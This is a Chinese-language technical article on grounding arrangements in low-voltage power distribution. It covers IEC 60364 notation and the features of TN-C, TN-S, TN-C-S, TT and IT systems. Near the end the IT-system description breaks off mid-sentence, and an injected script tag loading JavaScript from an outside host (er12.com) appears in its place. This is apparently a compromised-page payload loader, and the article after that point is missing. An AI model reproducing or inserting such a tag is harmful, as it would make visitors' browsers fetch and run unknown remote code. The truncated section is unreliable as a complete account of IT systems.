低压配电系统的接地方式及特点

电力系统的接地直接关系到用户的人身和财产安全,以及电气设备和电子设备的正常运行。如何针对实际情况选择合适的接地系统,确保配电系统及电气设备的安全使用,是设计人员面临的首要问题,本文简要分析了不同接地系统的特点及应用场所,仅供参考。

1.接地制式按照配电系统和电气设备的不同接地组合分类。按照iec60364规定,接地系统一般由两个字母组成,必要时可加后续字母。

第一个字母:表示电源中性点对地的关系

t:直接接地

i:不接地,或通过阻抗与大地相连

第二个字母:表示电气设备外壳与大地的关系

t:独立于电源接地点的直接接地

n:表示直接与电源系统接地点或与该点引出的导体相连

后续字母:表示中性线与保护线之间的关系

c:表示中性线n与保护线pe合二为一(pen线)

s:表示中性线n与保护线pe分开

c-s:表示在电源侧为pen线,从某一点分开为中性线n和保护线pe低压配电系统有三种形式:

■tn系统

■tt系统

■it系统

2.不同接地系统的组成及特点:

■tn系统的组成及特点

在tn系统中,所有电气设备的外壳接到保护线(pe)上,与配电系统的中性点相连(若无中性点,即变压器二次侧三角形连接或未引出中性点,可将变压器二次侧绕组的一相接地,但该接点不能用作pen线)。保护线应在每个变电所附近接地,配电系统引入建筑物时,保护线在其入口处接地。为了保证故障时保护线的电位尽量接近地电位,尽可能将保护线与附近的有效接地体相连,如必要,可增加接地点,并使其均匀分布。其特点是故障电流较大,仅与电缆的阻抗大小有关。出现绝缘故障时,需要短路电流保护装置瞬时断开电路。

国际标准iec60364规定,根据中性线与保护线是否合并的情况,tn系统分为如下三种:

□tn-c

□tn-s

□tn-c-s

注:对电网来说,当铜导线截面积≤10mm2,铝导线截面积≤16mm2时,必须采用tn-s系统,而不允许采用tn-c系统。

下面介绍其组成及特点:

2.1tn-c系统:

本系统中,保护线与中性线合二为一,称为pen线。

优点:

□tn-c方案易于实现,节省了一根导线,且保护电器可节省一极,降低设备的初期投资费用。

□发生接地短路故障时,故障电流大,可采用一过流保护电器瞬时切断电源,保证人员生命和财产安全

缺点:

□线路中有单相负荷,或三相负荷不平衡,及电网中有谐波电流时,由于pen中有电流,电气设备的外壳和线路金属套管间有压降,对敏感性电子设备不利

□pen线中的电流在有爆炸危险的环境中会引起爆炸

□pen线断线或相线对地短路时,会呈现相当高的对地故障电压,可能扩大事故范围

□不能使用剩余电流保护装置rcd(由于检测不出漏电流,rcd会拒动),因此绝缘故障时,不能有效地对人身和设备进行保护

2.2tn-s系统

本系统保护线(pe)和中性线(n)分开

优点:

□正常时pe线不通过负荷电流,适用于数据处理和精密电子仪器设备,也可用于爆炸危险场合

□民用建筑中,家用电器大都有单独接地触点的插头,采用tn-s系统,既方便,又安全

□如果回路阻抗太高或者电源短路容量较小,需采用剩余电流保护装置rcd对人身安全和设备进行保护,防止火灾危险

缺点:

□由于增加了中性线,初期投资较高

□tn-s系统相对地短路时,对地故障电压较高

2.3tn-c-s系统

在系统某一点起,pen分为保护线和中性线,分开后,中性线(n)对地绝缘(注:pen线分开后,不能再合并)

优点:

□适用于工矿企业供电,前面tn-c系统可满足固定设备的需要,后端tn-s系统可满足对电位敏感的电子设备的需要

□民用建筑中,电源线路采用tn-c,进入建筑物后,采用tn-s系统,可确保tn-s系统的优点

2.4tt系统的组成及其特点:

tt系统的变压器或发电机的中性点直接接地,电气设备的所有外壳用保护线连在一起,接在与电源中性点独立的接地点。如下图所示:

优点:

□电气设备的外壳与电源的接地无电气联系,适用于对电位敏感的数据处理设备和精密电子设备

□故障时对地故障电压不会蔓延

□接地短路时,由于受电流接地电阻和电气设备接地电阻的限制,短路电流较小,可减小危险

缺点:

□短路电流小,发生短路时,短路电流保护装置不会动作,易造成电击事故

□短路保护装置的过电流保护不能提供绝缘故障保护,需采用剩余电流保护器rcd进行人身和设备安全保护

2.5it系统的组成及特点:

it系统的电源不接地或通过阻抗接地,电气设备的外壳可直接接地或通过保护?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计